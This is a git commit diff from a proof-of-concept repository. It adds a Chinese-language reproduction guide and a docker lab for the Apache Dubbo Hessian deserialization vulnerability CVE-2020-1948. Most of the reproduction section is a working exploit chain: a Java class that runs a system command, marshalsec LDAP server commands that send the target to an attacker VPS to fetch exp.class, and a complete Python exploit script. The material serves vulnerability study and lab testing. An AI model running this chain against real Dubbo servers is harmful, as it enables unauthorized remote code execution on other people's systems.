mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-06-20 09:51:08 +00:00
update CVE-2020-1948
This commit is contained in:
parent
2e6bd24982
commit
a0d54b99d0
9
base/dubbo/2.7.7/docker-compose.yml
Normal file
9
base/dubbo/2.7.7/docker-compose.yml
Normal file
@ -0,0 +1,9 @@
|
||||
version: "3"
|
||||
|
||||
services:
|
||||
api:
|
||||
build: .
|
||||
image: dsolab/dubbo:cve-2020-1948
|
||||
container_name: cve-2020-1948
|
||||
ports:
|
||||
- "12345:12345"
|
169
开发框架漏洞/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948.md
Normal file
169
开发框架漏洞/Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948.md
Normal file
@ -0,0 +1,169 @@
|
||||
# Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Apache Dubbo 是一款高性能 Java RPC 框架。漏洞存在于 Apache Dubbo 默认使用的反序列化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达到代码执行的目的。
|
||||
|
||||
要想利用该漏洞需要满足以下条件:
|
||||
|
||||
- Dubbo 服务端应用引入了 `com.rometools:rome:1.7.0` 或 `com.caucho:quercus:4.0.45` 等不安全的 rome、quercus 等第三方类库版本。
|
||||
- JDK 版本低于 `7u201` 或者低于 `8u191`(存在 RMI 或者 LDAP 这种 JNDI 注入方式),JDK 相关 RCE 漏洞利用方式及受影响的版本:
|
||||
- 通过 RMI 协议加载远程 RMI Registry 上的恶意对象,受影响的 JDK 版本:低于 `6u45` 或者低于 `7u21`。
|
||||
- RMI + JNDI 注入,受影响的 JDK 版本:低于 `6u132`、低于 `7u122` 或低于 `8u113`。
|
||||
- LDAP + JNDI 注入,受影响的 JDK 版本:低于 `6u211`、低于 `7u201`、低于 8u191 或 `11u1`。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
|
||||
- https://hub.docker.com/r/dsolab/dubbo
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
Apache Dubbo 2.7.0 to 2.7.6
|
||||
Apache Dubbo 2.6.0 to 2.6.7
|
||||
Apache Dubbo all 2.5.x versions(已不再更新维护)
|
||||
```
|
||||
|
||||
准确地说,也影响了 2.7.7 和 2.6.8 版本,因为修复方案被绕过。
|
||||
|
||||
## 环境搭建
|
||||
|
||||
docker-compose.yaml
|
||||
|
||||
```
|
||||
version: "3"
|
||||
|
||||
services:
|
||||
api:
|
||||
build: .
|
||||
image: dsolab/dubbo:cve-2020-1948
|
||||
container_name: cve-2020-1948
|
||||
ports:
|
||||
- "12345:12345"
|
||||
```
|
||||
|
||||
执行如下命令启动一个 Apache Dubbo 2.7.7 版本的服务器:
|
||||
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
服务启动后,监听在 `your-ip:12345` 端口。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
准备 exp.java,编译:
|
||||
|
||||
```java
|
||||
import javax.naming.spi.ObjectFactory;
|
||||
import javax.naming.Name;
|
||||
import javax.naming.Context;
|
||||
import java.util.Hashtable;
|
||||
import java.io.IOException;
|
||||
|
||||
public class exp implements ObjectFactory {
|
||||
@Override
|
||||
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
|
||||
try {
|
||||
Runtime.getRuntime().exec("touch /tmp/success");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```
|
||||
javac exp.java
|
||||
```
|
||||
|
||||
vps 开启 web 服务,托管编译后的 exp.class:
|
||||
|
||||
```
|
||||
http://your-vps-ip/exp.class
|
||||
```
|
||||
|
||||
启动 LDAP 服务,监听端口为 9999:
|
||||
|
||||
```
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip/#exp 9999
|
||||
```
|
||||
|
||||
本地构建测试脚本 poc.py:
|
||||
|
||||
```shell
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import sys
|
||||
|
||||
from dubbo.codec.hessian2 import Decoder,new_object
|
||||
from dubbo.client import DubboClient
|
||||
|
||||
if len(sys.argv) < 4:
|
||||
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
|
||||
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
|
||||
sys.exit()
|
||||
|
||||
client = DubboClient(sys.argv[1], int(sys.argv[2]))
|
||||
|
||||
JdbcRowSetImpl=new_object(
|
||||
'com.sun.rowset.JdbcRowSetImpl',
|
||||
dataSource=sys.argv[3],
|
||||
strMatchColumns=["foo"]
|
||||
)
|
||||
JdbcRowSetImplClass=new_object(
|
||||
'java.lang.Class',
|
||||
name="com.sun.rowset.JdbcRowSetImpl",
|
||||
)
|
||||
toStringBean=new_object(
|
||||
'com.rometools.rome.feed.impl.ToStringBean',
|
||||
beanClass=JdbcRowSetImplClass,
|
||||
obj=JdbcRowSetImpl
|
||||
)
|
||||
|
||||
resp = client.send_request_and_return_response(
|
||||
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
|
||||
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本
|
||||
method_name='$invoke',
|
||||
args=[toStringBean])
|
||||
|
||||
output = str(resp)
|
||||
if 'Fail to decode request due to: RpcInvocation' in output:
|
||||
print('[!] Target maybe not support deserialization.')
|
||||
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
|
||||
print('[+] Succeed.')
|
||||
else:
|
||||
print('[!] Output:')
|
||||
print(output)
|
||||
print('[!] Target maybe not use dubbo-remoting library.')
|
||||
```
|
||||
|
||||
运行测试脚本:
|
||||
|
||||
```
|
||||
python poc.py your-ip 12345 ldap://your-vps-ip:9999/exp
|
||||
```
|
||||
|
||||

|
||||
|
||||
可以看到,LDAP 代理成功接收请求,并将请求转发到 vps:
|
||||
|
||||
```
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.8.0.1/\#exp 9999
|
||||
Listening on 0.0.0.0:9999
|
||||
Send LDAP reference result for exp redirecting to http://10.8.0.1/exp.class
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
命令被成功执行:
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
升级至最新版本。
|
Binary file not shown.
After Width: | Height: | Size: 41 KiB |
Binary file not shown.
After Width: | Height: | Size: 62 KiB |
Binary file not shown.
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
After Width: | Height: | Size: 85 KiB |
Loading…
x
Reference in New Issue
Block a user